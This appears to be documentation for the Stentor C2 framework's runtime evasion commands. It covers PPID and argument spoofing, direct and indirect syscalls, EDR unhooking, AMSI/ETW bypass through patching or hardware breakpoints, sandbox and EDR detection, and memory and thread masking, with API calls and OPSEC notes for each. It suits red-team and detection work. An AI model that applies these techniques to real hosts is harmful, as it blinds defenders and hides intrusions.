Evasion Commands¶
Runtime evasion controls allow operators to modify a beacon's defensive posture after deployment. These commands change how the beacon interacts with the operating system -- adjusting sleep behavior, syscall routing, process attributes, and EDR bypass techniques -- all without redeploying the payload.
Build-time vs Runtime
This page documents runtime C2 commands that modify beacon behavior after check-in. For build-time evasion options configured during payload generation (Garble obfuscation, kill date, exit function, custom kits), see the Evasion Kits page.
Evasion Configuration Matrix¶
The table below summarizes every evasion command, its syntax, whether it can be modified at runtime, and the applicable MITRE ATT&CK technique.
| Command | Syntax | Description | Runtime | MITRE ATT&CK |
|---|---|---|---|---|
sleep | sleep <seconds> [jitter%] | Set callback interval and jitter | Yes | T1029 (Scheduled Transfer) |
sleepu | sleepu <duration_string> | Human-readable sleep duration | Yes | T1029 |
pause | pause <milliseconds> | One-off pause (single cycle) | Yes | T1029 |
checkin | checkin | Force immediate check-in | Yes | -- |
ppid | ppid <pid> | Set parent PID for child processes | Yes | T1134.004 (Parent PID Spoofing) |
spawnto | spawnto <x86\|x64> <path> | Set sacrificial process for fork-and-run | Yes | T1055 (Process Injection) |
blockdlls | blockdlls [start\|stop] | Block non-Microsoft DLLs in children | Yes | T1562.001 (Impair Defenses) |
argue | argue <command> <fake_args> | Set fake command-line arguments | Yes | T1564.010 (Process Argument Spoofing) |
syscall-method | syscall-method <none\|direct\|indirect> | Change syscall invocation method | Yes | T1106 (Native API) |
beacon_gate | beacon_gate [enable\|disable] | Route 25 APIs through syscalls | Yes | T1106 |
sleep_config | sleep_config <setting> <value> | Configure sleep mask options | Yes | T1497.003 (Time Based Evasion) |
edr_query | edr_query [module] | Scan for userland hooks | Yes | T1518.001 (Security Software Discovery) |
edr_unhook | edr_unhook <method> | Restore clean API bytes | Yes | T1562.001 (Impair Defenses) |
hwbp | hwbp <target> [on\|off] | Hardware breakpoint AMSI/ETW bypass | Yes | T1562.001 |
opsec | opsec | Query current evasion configuration | Yes | -- |
safe_http | safe_http [on\|off] | Encrypt memory during HTTP check-ins | Yes | T1027 (Obfuscated Files) |
scatter_alloc | scatter_alloc [on\|off] | Distribute memory across non-contiguous pages | Yes | T1027.005 (Indicator Removal) |
anti_analysis | anti_analysis [options] | Sandbox/debugger/VM detection checks | Yes | T1497.001 (Sandbox Evasion) |
bof_async | bof_async <bof_file> [args] | Execute BOF asynchronously during sleep | Yes | T1620 (Reflective Code Loading) |
sleep_config thread_spoof | sleep_config thread_spoof [on\|off] | Spoof beacon thread start addresses with DLL exports | Yes | T1036 (Masquerading) |
sleep_config heap_encrypt | sleep_config heap_encrypt [on\|off] | AES-128-CTR encrypt heap during sleep | Yes | T1027 (Obfuscated Files) |
Sleep and Callback Control¶
Control how frequently the beacon checks in with the teamserver. Lower intervals provide faster interaction but generate more network traffic.
sleep <seconds> [jitter%]¶
Set the beacon's callback interval and optional jitter percentage.
| Parameter | Type | Required | Description |
|---|---|---|---|
seconds | int | Yes | Callback interval in seconds (0 = interactive) |
jitter% | int | No | Randomization percentage (0-99), applied to the interval |
The beacon updates its sleep value on the next check-in -- no task is queued through the implant. The server updates the beacon registry directly, and the implant picks up the new value from the check-in response.
Shell syntax:
API example:
# Via shell command endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep 30 25"
}'
# Via dedicated sleep endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell/sleep \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"interval": 30,
"jitter": 25
}'
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/sleep \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sleep_time": 30,
"jitter": 25
}'
Jitter calculation
With sleep 60 25, the beacon sleeps between 45-60 seconds (60 minus 0-25% of 60). Jitter prevents periodic-pattern detection by network monitoring tools.
sleepu <duration_string>¶
Set sleep using a human-readable duration string. Supports days, hours, minutes, seconds, and jitter components.
Duration format: <N>d <N>h <N>m <N>s <N>j
| Component | Meaning | Example |
|---|---|---|
d | Days | 2d = 172,800 seconds |
h | Hours | 13h = 46,800 seconds |
m | Minutes | 45m = 2,700 seconds |
s | Seconds | 8s = 8 seconds |
j | Jitter percentage | 30j = 30% jitter |
Shell syntax:
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleepu 30m 15j"
}'
pause <milliseconds>¶
One-off pause -- the beacon sleeps for the specified duration once, then resumes its normal callback interval. Useful for temporarily going silent during a specific window.
Shell syntax:
This pauses the beacon for 5 minutes (300,000ms), then it resumes normal sleep.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "pause 300000"
}'
checkin¶
Force the beacon to check in immediately by queuing a check-in task. The implant re-sends its system information on the next poll cycle.
Shell syntax:
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "checkin"
}'
Process Configuration¶
Configure how the beacon spawns child processes. These settings affect fork-and-run operations (execute-assembly, BOF execution, process injection) and can significantly reduce the beacon's detection surface.
ppid <pid>¶
Set the parent process ID for child processes spawned by the beacon. Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to make child processes appear to be spawned by a legitimate parent.
| Parameter | Type | Required | Description |
|---|---|---|---|
pid | int | Yes | Target parent PID (0 = disable spoofing) |
Shell syntax:
API example:
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/ppid \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"pid": 4892
}'
Choosing a parent PID
Select a PID that makes sense for the beacon's context. If the beacon is running as a service, svchost.exe is a natural parent. For user-context beacons, explorer.exe is typical. Use ps to enumerate running processes and find an appropriate parent.
OPSEC Considerations
- Effective against process tree analysis tools that inspect parent-child relationships
- Detectable via ETW
Microsoft-Windows-Kernel-Processevents -- theEventHeader.ProcessIdreveals the real parent PID regardless of the spoofed value - Use this for defense against process tree inspection, not against ETW-equipped SOC tools
- MITRE ATT&CK: T1134.004 (Access Token Manipulation: Parent PID Spoofing)
spawnto <x86|x64> <path>¶
Set the sacrificial process used for fork-and-run operations. When the beacon needs to execute code in a separate process (e.g., execute-assembly, BOF with output), it spawns this process, injects into it, captures output, and terminates it.
| Parameter | Type | Required | Description |
|---|---|---|---|
arch | string | Yes | Architecture: x86 or x64 |
path | string | Yes | Full path to the sacrificial process binary |
Shell syntax:
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "spawnto x64 C:\\Windows\\System32\\svchost.exe"
}'
OPSEC Considerations
- The default sacrificial process (
rundll32.exe) is heavily monitored by EDR solutions - Choose a process that is normal for the beacon's execution context (e.g.,
svchost.exefor SYSTEM,RuntimeBroker.exefor user context) - The spawned process has a very short lifetime (spawn, inject, capture output, terminate) -- short-lived processes are an anomaly indicator
- Consider the process's typical command-line arguments (combine with
arguefor argument spoofing) - MITRE ATT&CK: T1055 (Process Injection)
blockdlls [start|stop]¶
Block non-Microsoft-signed DLLs from loading in child processes. This applies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON to all processes spawned by the beacon.
Shell syntax:
API example:
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/blockdlls \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"enabled": true
}'
Why use blockdlls
Most EDR products inject a user-mode DLL into every new process to hook API calls and monitor behavior. The blockdlls mitigation policy prevents these non-Microsoft DLLs from loading, effectively blinding EDR instrumentation in the beacon's child processes.
OPSEC Considerations
- Very effective at preventing EDR DLL injection into sacrificial processes
- The mitigation policy itself is visible to the OS and can be enumerated by security tools
- Some legitimate applications depend on non-Microsoft DLLs --
blockdllsmay cause those to malfunction - MITRE ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)
argue <command> <fake_args>¶
Set fake command-line arguments for a specific command. When the beacon spawns the process, it uses the fake arguments (visible to process monitoring), then patches the real arguments into the PEB before the process begins execution.
| Parameter | Type | Required | Description |
|---|---|---|---|
command | string | Yes | The executable name to apply spoofing to |
fake_args | string | Yes | Fake command-line arguments visible to monitoring |
Shell syntax:
argue net1.exe /enum /domain
argue powershell.exe -NoProfile -WindowStyle Hidden -Command "Get-Date"
When net1.exe is subsequently spawned, process creation logs (Sysmon Event 1, Windows Event 4688) will show the fake arguments instead of the real ones.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "argue net1.exe /enum /domain"
}'
OPSEC Considerations
- Defeats command-line logging (Sysmon Event ID 1, Windows Security Event 4688)
- The PEB modification occurs after process creation but before main execution -- there is a brief window where real args may be captured by very fast monitoring
- Works best against asynchronous log collection systems with processing delays
- MITRE ATT&CK: T1564.010 (Hide Artifacts: Process Argument Spoofing)
Syscall and API Configuration¶
Control how the beacon invokes Windows API functions. These settings determine whether API calls pass through usermode DLL hooks (where EDR instruments its monitoring) or bypass them via direct/indirect syscalls.
syscall-method <none|direct|indirect>¶
Change the syscall invocation method at runtime.
Standard Windows API calls through kernel32.dll / ntdll.dll. Every call passes through usermode DLL exports where EDR hooks are installed.
Resolves syscall numbers at runtime by walking the PEB InMemoryOrderModuleList to find ntdll, then executes the syscall instruction directly from beacon memory. Bypasses usermode hooks but leaves a "syscall from non-ntdll" artifact detectable by stack analysis.
API example:
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/syscallMethod \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"method": "indirect"
}'
| Mode | Hook Bypass | Detection Resistance | Compatibility | Recommended For |
|---|---|---|---|---|
none | No | Low | All Windows | Lab / testing |
direct | Yes | Medium | Windows 10+ | Standard engagements |
indirect | Yes | High | Windows 10+ | EDR-heavy environments |
Acheron library
Both direct and indirect modes use the acheron library for syscall number resolution via PEB walking. The distinction is where the syscall instruction executes from: beacon memory (direct) vs. ntdll.dll (indirect).
OPSEC Considerations
directmode is detectable by stack trace analysis -- thesyscallinstruction executes from beacon memory, not ntdllindirectmode is the most evasion-resistant but requires a clean ntdll mapping (combine withedr_unhookif needed)- Changing syscall method at runtime is seamless -- no restart or re-injection required
- MITRE ATT&CK: T1106 (Native API)
beacon_gate [enable|disable]¶
Enable or disable BeaconGate, which intercepts 25 commonly hooked Windows APIs and routes them through the configured syscall method (direct or indirect).
Shell syntax:
API example:
# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"enabled": true
}'
# Query current BeaconGate status
curl -s https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
-H "Authorization: Bearer $TOKEN"
The 25 gated APIs are organized by category:
| Category | APIs |
|---|---|
| Memory | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery |
| Thread | CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread |
| Process Memory | WriteProcessMemory, ReadProcessMemory |
| Handle | OpenProcess, CloseHandle, DuplicateHandle |
| Thread Context | GetThreadContext, SetThreadContext |
| File Mapping | CreateFileMappingA, MapViewOfFile, UnmapViewOfFile |
| Network (WinINet) | InternetOpenA, InternetConnectA |
| Registry | NtSetValueKey, NtOpenKey |
Mask-on-call: When enabled, BeaconGate encrypts beacon memory before each gated API call and decrypts it after. Maximum evasion at the cost of higher CPU overhead. Automatically disabled when beacon sleep drops below 3 seconds (interactive mode).
Best combination
BeaconGate is most effective combined with indirect syscalls: syscall-method indirect followed by beacon_gate enable. Cross-reference the full BeaconGate API list in the Evasion Kits page.
sleep_config¶
Configure sleep mask behavior -- text encryption, heap encryption, stack spoofing, and sleep method. Sub-commands modify individual settings.
Enable or disable XOR encryption of the beacon's .text section during sleep.
Enable or disable encryption of heap allocations during sleep. Prevents EDR memory scanners from finding configuration strings and C2 URLs in heap memory.
Enable or disable thread stack spoofing during sleep. Fabricates call stack frames to hide beacon return addresses from stack walking tools.
Switch between direct (SleepEx) and timer_queue (Ekko-style CreateTimerQueueTimer) sleep methods.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep_config sleep_mask on"
}'
OPSEC Considerations
- Sleep masking encrypts beacon memory during idle periods, defeating in-memory signature scanning
- Heap masking hides configuration data, C2 URLs, and other strings from memory scanners
- Stack spoofing defeats tools like Hunt-Sleeping-Beacons, Patriot, and Moneta that identify sleeping threads by their call stack
- The
timer_queuemethod avoids direct calls toSleep/SleepExthat EDRs monitor, but may interact poorly with the Go runtime in edge cases - MITRE ATT&CK: T1497.003 (Virtualization/Sandbox Evasion: Time Based Evasion)
Memory Evasion¶
Protect beacon memory contents during network operations and at rest. These techniques complement sleep masking by securing memory outside of sleep cycles.
safe_http [on|off]¶
Encrypt the beacon's memory during HTTP/HTTPS check-in operations. When enabled, the beacon encrypts its .text, heap, and configuration data using RC4 (via SystemFunction032) before making any transport calls, then decrypts after the response is processed. This prevents memory scanners from finding beacon signatures during the network I/O window.
Shell syntax:
| Parameter | Type | Required | Description |
|---|---|---|---|
on/off | string | No | Enable or disable (default: on) |
API example:
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"safe_http","params":{"enabled":true}}}'
OPSEC Considerations
- Uses the same RC4/SystemFunction032 mechanism as sleep masking -- consistent encryption approach
- Transport client is excluded from encryption via
ExcludeFromSafeHTTP=trueto prevent deadlock - All transport calls are wrapped including drain methods
- Adds slight latency to each check-in due to encrypt/decrypt cycles
- MITRE ATT&CK: T1027 (Obfuscated Files or Information)
scatter_alloc [on|off]¶
Distribute beacon memory across non-contiguous pages instead of a single large allocation. Each page is independently encrypted with per-page RC4 keys via SystemFunction032. Reading scattered pages uses a decrypt-copy-reencrypt pattern that never exposes the full beacon in memory at once.
Shell syntax:
| Parameter | Type | Required | Description |
|---|---|---|---|
on/off | string | No | Enable or disable (default: on) |
API example:
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"scatter_alloc","params":{"enabled":true}}}'
OPSEC Considerations
- Defeats memory scanners that look for contiguous beacon signatures
- Pages tracked via dedicated scatter registry (not BUD allocator)
- Per-page RC4 encryption means scanning any single page reveals nothing
- ReadPage uses decrypt-copy-reencrypt pattern -- full plaintext never exists in one place
- Increases memory overhead due to page tracking structures
- MITRE ATT&CK: T1027.005 (Indicator Removal from Host)
CET Compatibility
On processors with Intel CET (Control-flow Enforcement Technology), stack spoofing is automatically disabled and the beacon falls back to timer_queue sleep method. CET is detected at beacon startup via IsUserCetAvailableInEnvironment. The opsec command reports CET status. Hardware breakpoints and all memory evasion features (safe_http, scatter_alloc, sleep masking) remain fully compatible with CET.
EDR Evasion¶
Detect and neutralize EDR userland hooks by querying hooked functions and restoring clean API bytes.
edr_query [module] [--verbose]¶
Scan loaded DLLs for userland hooks. By default, scans ntdll.dll, kernel32.dll, and kernelbase.dll. Optionally specify a specific DLL to scan.
Shell syntax:
| Parameter | Type | Required | Description |
|---|---|---|---|
module | string | No | Specific DLL to scan (default: ntdll, kernel32, kernelbase) |
--verbose | flag | No | Show all exports, not just hooked functions |
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "edr_query ntdll.dll"
}'
Output: Lists hooked functions with jump target addresses. Hooked functions have their first bytes replaced with a JMP instruction pointing to the EDR's monitoring code.
What hooks look like
A hooked function's first bytes are replaced with a JMP instruction (typically E9 xx xx xx xx or FF 25 xx xx xx xx) that redirects execution to the EDR's interception handler. edr_query detects these modifications by comparing function prologues against known clean patterns.
edr_unhook <method>¶
Restore clean API bytes to undo EDR userland hooks. Multiple restoration strategies are available.
Read a clean copy of the DLL from the \KnownDlls\ section objects. KnownDlls is a Windows mechanism that caches frequently used DLLs -- these cached copies are not hooked by usermode EDR.
Read a clean copy of the DLL from the file on disk (C:\Windows\System32\ntdll.dll). This reads the original file and restores the .text section.
Unhook a specific function only, leaving other hooks intact. Useful when you only need to bypass monitoring on specific APIs.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "edr_unhook knowndlls"
}'
OPSEC Considerations
- Unhooking itself may be detected by advanced EDR products that perform periodic integrity checks on their hooks
knowndllsstrategy is generally the most reliable and stealthy (no disk I/O)diskstrategy generates file read operations visible in filesystem monitoringtargetedstrategy has the smallest footprint -- only modify the bytes you needheavensgateis WoW64-only and is a well-known technique with existing detections- Consider using
edr_queryfirst to understand the hook landscape before unhooking - MITRE ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)
Hardware Breakpoint Evasion¶
Use CPU debug registers (DR0-DR3) and a Vectored Exception Handler (VEH) to bypass AMSI and ETW without modifying any code bytes in memory.
hwbp <target> [on|off]¶
Control hardware breakpoint-based bypass for AMSI, ETW, or both.
| Parameter | Type | Required | Description |
|---|---|---|---|
target | string | Yes | amsi, etw, both, or custom |
on/off | string | No | Enable or disable (default: on) |
Shell syntax:
Custom hardware breakpoint:
Set a hardware breakpoint on an arbitrary function. The VEH intercepts execution at the breakpoint address and returns the specified value.
| Parameter | Type | Description |
|---|---|---|
function | string | Function name to intercept |
dll | string | DLL containing the function |
ret_value | uint64 | Return value when breakpoint fires (optional) |
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "hwbp both on"
}'
How It Works¶
- The beacon sets debug registers (DR0-DR3) to point at
AmsiScanBufferand/orEtwEventWrite - A Vectored Exception Handler (VEH) is registered to catch
EXCEPTION_SINGLE_STEPexceptions - When the hooked function is called, the CPU triggers a debug exception before execution
- The VEH intercepts the exception and modifies the return value:
- AMSI: Returns
AMSI_RESULT_CLEAN(0) -- all scans report "clean" - ETW: Returns
ERROR_SUCCESS(0) -- all events are silently dropped
- AMSI: Returns
- Execution continues normally with the bypass in effect
OPSEC advantage
Hardware breakpoints modify no code bytes in memory. Unlike inline patching (which writes RET or NOP instructions), HWBP leaves AmsiScanBuffer and EtwEventWrite unmodified. Memory integrity scanners that check for patched bytes will find nothing unusual.
OPSEC Considerations
- Uses 1-2 of the 4 available debug registers (DR0-DR3) -- if the target process uses debug registers for other purposes, conflicts may occur
- The VEH registration itself is detectable by enumerating the VEH chain
- Some advanced EDR products monitor debug register modifications via kernel callbacks
- Preferred over inline patching in environments with memory integrity scanning
- MITRE ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)
AMSI and ETW Bypass¶
Traditional inline patching approach to bypass AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows). These modify code bytes in memory -- for a non-patching alternative, see Hardware Breakpoint Evasion above.
AMSI Bypass¶
Patches AmsiScanBuffer in amsi.dll to return AMSI_RESULT_CLEAN for all scan requests. Prevents PowerShell, .NET, VBScript, and JScript from flagging beacon-related content.
Shell syntax:
This command is dispatched as an evasion task with {"method": "amsi"}.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "amsi"
}'
ETW Bypass¶
Patches EtwEventWrite in ntdll.dll with a RET instruction, silencing all ETW events from the beacon's process. Prevents .NET runtime events, PowerShell logging, and other ETW-based telemetry.
Shell syntax:
This command is dispatched as an evasion task with {"method": "etw"}.
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "etw"
}'
OPSEC Considerations
- Inline AMSI patching modifies bytes in
amsi.dll-- detectable by memory integrity scanning (e.g., CrowdStrike, SentinelOne) - ETW patching modifies bytes in
ntdll.dll-- also detectable by integrity scanning - Both patches are well-known signatures in the security community
- Prefer
hwbp both onfor environments with memory integrity scanning -- it achieves the same effect without modifying any code bytes - MITRE ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)
OPSEC Configuration¶
opsec¶
Query the beacon's current evasion configuration state. Returns a comprehensive audit of all evasion settings with their current values, risk scores, and recommendations.
Shell syntax:
API example:
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "opsec"
}'
Output includes:
- Current sleep interval and jitter
- Spawn-to process paths (x86 and x64)
- BlockDLLs status
- Syscall method (none/direct/indirect)
- PPID spoofing target
- Sleep mask, heap mask, and stack spoof status
- BeaconGate status
- HWBP status
- Overall OPSEC score with recommendations
Anti-Analysis¶
Detect sandbox, debugger, and virtual machine environments before executing sensitive operations. The beacon can be configured to self-terminate, sleep indefinitely, or skip the current task when analysis indicators are detected.
anti_analysis [options]¶
Configure runtime environment checks that run before task execution. Uses a threshold-based detection model -- a single indicator is not sufficient to trigger (requires 2+ indicators to reduce false positives).
Shell syntax:
| Parameter | Type | Required | Description |
|---|---|---|---|
on/off/status | string | No | Enable, disable, or query status (default: on) |
Detection categories:
| Category | Indicators Checked |
|---|---|
| Sandbox | Low CPU count, small RAM, recent OS install, known sandbox usernames, analysis tool processes |
| Debugger | IsDebuggerPresent, NtQueryInformationProcess(ProcessDebugPort), debug heap flags |
| Virtual Machine | Registry keys (VMware, VirtualBox, Hyper-V), known VM MAC prefixes, CPUID hypervisor bit |
| EDR | 10 vendor process signatures (CrowdStrike, SentinelOne, Defender, Carbon Black, etc.) |
| Domain-joined | Backslash in username heuristic for domain membership detection |
API example:
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"evasion","data":{"method":"anti_analysis","params":{"enabled":true}}}'
OPSEC Considerations
- Environment checks use standard Windows APIs (WMI, registry, process enumeration) -- themselves detectable
- 2+ indicator threshold reduces false positives (single VM artifact won't trigger)
- Registry access reuses existing beacon gate syscall routing when enabled
- Consider running
anti_analysis statusto review detection results before enabling auto-termination - MITRE ATT&CK: T1497.001 (System Checks), T1497.002 (User Activity Based Checks)
Async BOF Execution¶
Execute Beacon Object Files asynchronously during the beacon's sleep cycle. Unlike standard inline-execute (which blocks until completion), bof_async launches the BOF in a background goroutine and delivers results on the next check-in.
bof_async <bof_file> [args]¶
Execute a BOF in the background without blocking the beacon's main task loop. Output is queued and delivered on the next check-in cycle (no early wake -- matches Cobalt Strike behavior).
Shell syntax:
| Parameter | Type | Required | Description |
|---|---|---|---|
bof_file | path | Yes | Path to compiled BOF object file |
args | string | No | Arguments passed to the BOF entry point |
API example:
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"bof_async","data":{"bof_path":"/tmp/enum_users.o","args":"CORP"}}'
Async vs Inline Execution
| Feature | inline-execute | bof_async |
|---|---|---|
| Blocking | Yes -- beacon waits | No -- runs in background |
| Output delivery | Immediate | Next check-in |
| Multiple concurrent | No | Yes (goroutine-per-BOF) |
| Use case | Quick BOFs | Long-running enumeration |
OPSEC Considerations
- BOF executes in-process (same as inline-execute) -- no child process creation
- Output queue is map-based for polling drain -- no early wake signal
- Multiple async BOFs can run simultaneously (goroutine-per-BOF model)
- Results are delivered on next check-in regardless of completion time
- MITRE ATT&CK: T1620 (Reflective Code Loading)
Advanced Sleep Evasion¶
Thread start address spoofing and heap encryption are advanced sleep-cycle evasion techniques that harden beacon threads and memory against EDR scanning during idle periods. Both operate as pre-sleep/post-wake hooks integrated into the sleep mask pipeline.
Thread Start Address Spoofing¶
Problem: Injected beacon threads have their Win32StartAddress pointing to unbacked (private) memory. This is a primary indicator for EDR thread scanning tools such as Get-InjectedThread, Process Hacker, and PE-sieve. Legitimate OS threads always have start addresses pointing to known DLL exports.
How it works:
-
Export pool resolution -- At first use, the module resolves a curated pool of 6 legitimate DLL exports that are common thread entry points:
DLL Export Rationale ntdll.dllRtlUserThreadStartMost common legitimate thread start address ntdll.dllTppWorkerThreadThread pool worker -- natural for APC injection ntdll.dllTpReleasePoolThread pool cleanup routine ntdll.dllRtlExitUserThreadThread exit routine kernel32.dllBaseThreadInitThunkStandard thread initialization thunk kernel32.dllCtrlRoutineConsole control handler Only exports from DLLs already loaded in the process are included (no
LoadLibrarycalls). -
Thread enumeration -- Enumerates all threads in the current process via
CreateToolhelp32SnapshotwithTH32CS_SNAPTHREAD. -
Start address query -- For each thread, queries the current
Win32StartAddressviaNtQueryInformationThread(information class 9,ThreadQuerySetWin32StartAddress). -
Spoofing -- If the thread's start address points to unbacked/private memory (not matching any known DLL export), overwrites it with a randomly selected export from the pool via
NtSetInformationThread. The original address is saved for restoration on wake. -
Unspoofing -- After waking from sleep,
UnspoofThreadStartAddress()restores all originalWin32StartAddressvalues and closes thread handles.
Per-cycle rotation (EVA-02): On each subsequent sleep cycle, RotateThreadStartSpoof() replaces every spoofed address with a DIFFERENT random export from the pool. The selection uses crypto/rand with up to 10 retries to guarantee a different address is chosen. This defeats periodic EDR scans that would notice the same start address persisting across multiple scan intervals.
OPSEC Considerations
- Effective against: Get-InjectedThread, Process Hacker thread inspection, PE-sieve thread scanning, any tool that checks
Win32StartAddressagainst module ranges - Detection methods:
- Cross-referencing
Win32StartAddresswith the thread's actual instruction pointer (RIP/EIP) -- the spoofed address does not match where the thread is actually executing - Kernel-mode
ETHREADinspection bypasses the user-mode overwrite entirely - Timing analysis of
NtSetInformationThreadcalls with information class 9
- Cross-referencing
- The
Win32StartAddressfield inETHREADis a stored value, not computed -- it can be overwritten without affecting thread execution - Per-cycle rotation adds negligible overhead (microseconds per thread)
- MITRE ATT&CK: T1036 (Masquerading)
Heap Encryption¶
Problem: During sleep, sensitive heap data -- configuration, transport state, credential cache, and task buffers -- sits in plaintext memory. Memory scanners can identify beacon signatures, C2 URLs, and harvested credentials by scanning heap regions while the beacon sleeps.
Algorithm: AES-128-CTR with hardware AES-NI acceleration. Unlike the existing RC4-based HeapMask pipeline (which uses SystemFunction032), heap encryption uses the Go standard library crypto/aes + crypto/cipher CTR mode, which leverages hardware AES-NI instructions on modern processors. Typical performance is <1ms for beacon-sized heap regions.
Per-cycle key rotation: Each sleep cycle generates a completely fresh 16-byte key and 16-byte IV from CSPRNG (crypto/rand). The combined 32-byte key material is held only during the sleep interval and zeroed immediately after decryption via explicit ZeroKey() with runtime.KeepAlive to prevent compiler optimization from eliminating the zeroing loop.
Coverage scope (EVA-04): All tracked heap records are encrypted:
| Region | Description |
|---|---|
| Config | Beacon configuration (C2 URLs, sleep interval, operator settings) |
| Transport state | HTTP client state, connection pools, request buffers |
| Credential cache | Harvested credentials, tokens, hashes |
| Task buffers | Queued and in-progress task data |
The transport client itself is excluded via the ExcludeFromSafeHTTP flag to prevent deadlock during HTTP operations.
In-place encryption: CTR mode is XOR-based, meaning the same XORKeyStream operation with the same key and IV both encrypts and decrypts. No additional memory allocation is needed -- encryption and decryption happen directly on the heap memory regions.
Independent of HeapMask: Heap encryption operates separately from the RC4-based HeapMask pipeline. HeapMask encrypts via RC4/SystemFunction032; heap encryption uses AES-128-CTR. Both can run simultaneously for defense-in-depth.
Performance: <2ms combined encrypt + decrypt for typical beacon heap sizes. No VirtualProtect calls needed because heap memory is already RW.
Nighthawk benchmark
Heap encryption achieves the <5% plaintext exposure target -- sensitive memory is encrypted within milliseconds of entering sleep and remains encrypted for the entire sleep duration.
OPSEC Considerations
- Effective against: Memory scanners that search for beacon signatures, C2 URLs, or credential strings in heap memory during sleep
- Detection methods:
- High-entropy heap regions during sleep (shared indicator with HeapMask)
- Timing correlation between encryption calls and sleep intervals
- AES-NI instruction usage patterns (if monitored at CPU level)
- Per-cycle CSPRNG key generation defeats pattern-based detection that XOR/RC4 scanners use
- Keys are zeroed immediately after decrypt -- no key material persists in memory
- MITRE ATT&CK: T1027 (Obfuscated Files or Information)
Sleep Cycle Integration Order¶
Thread spoofing and heap encryption are integrated into the sleep mask pipeline as pre-sleep and post-wake hooks. The execution order ensures memory is protected before sleep and restored before the beacon resumes operations.
sequenceDiagram
participant B as Beacon
participant HE as Heap Encryption
participant TS as Thread Spoofing
participant S as Sleep Method
Note over B: Pre-sleep phase
B->>HE: 1. EncryptHeapRegions()
Note over HE: AES-128-CTR with fresh CSPRNG key+IV
HE-->>B: Returns 32-byte key+IV
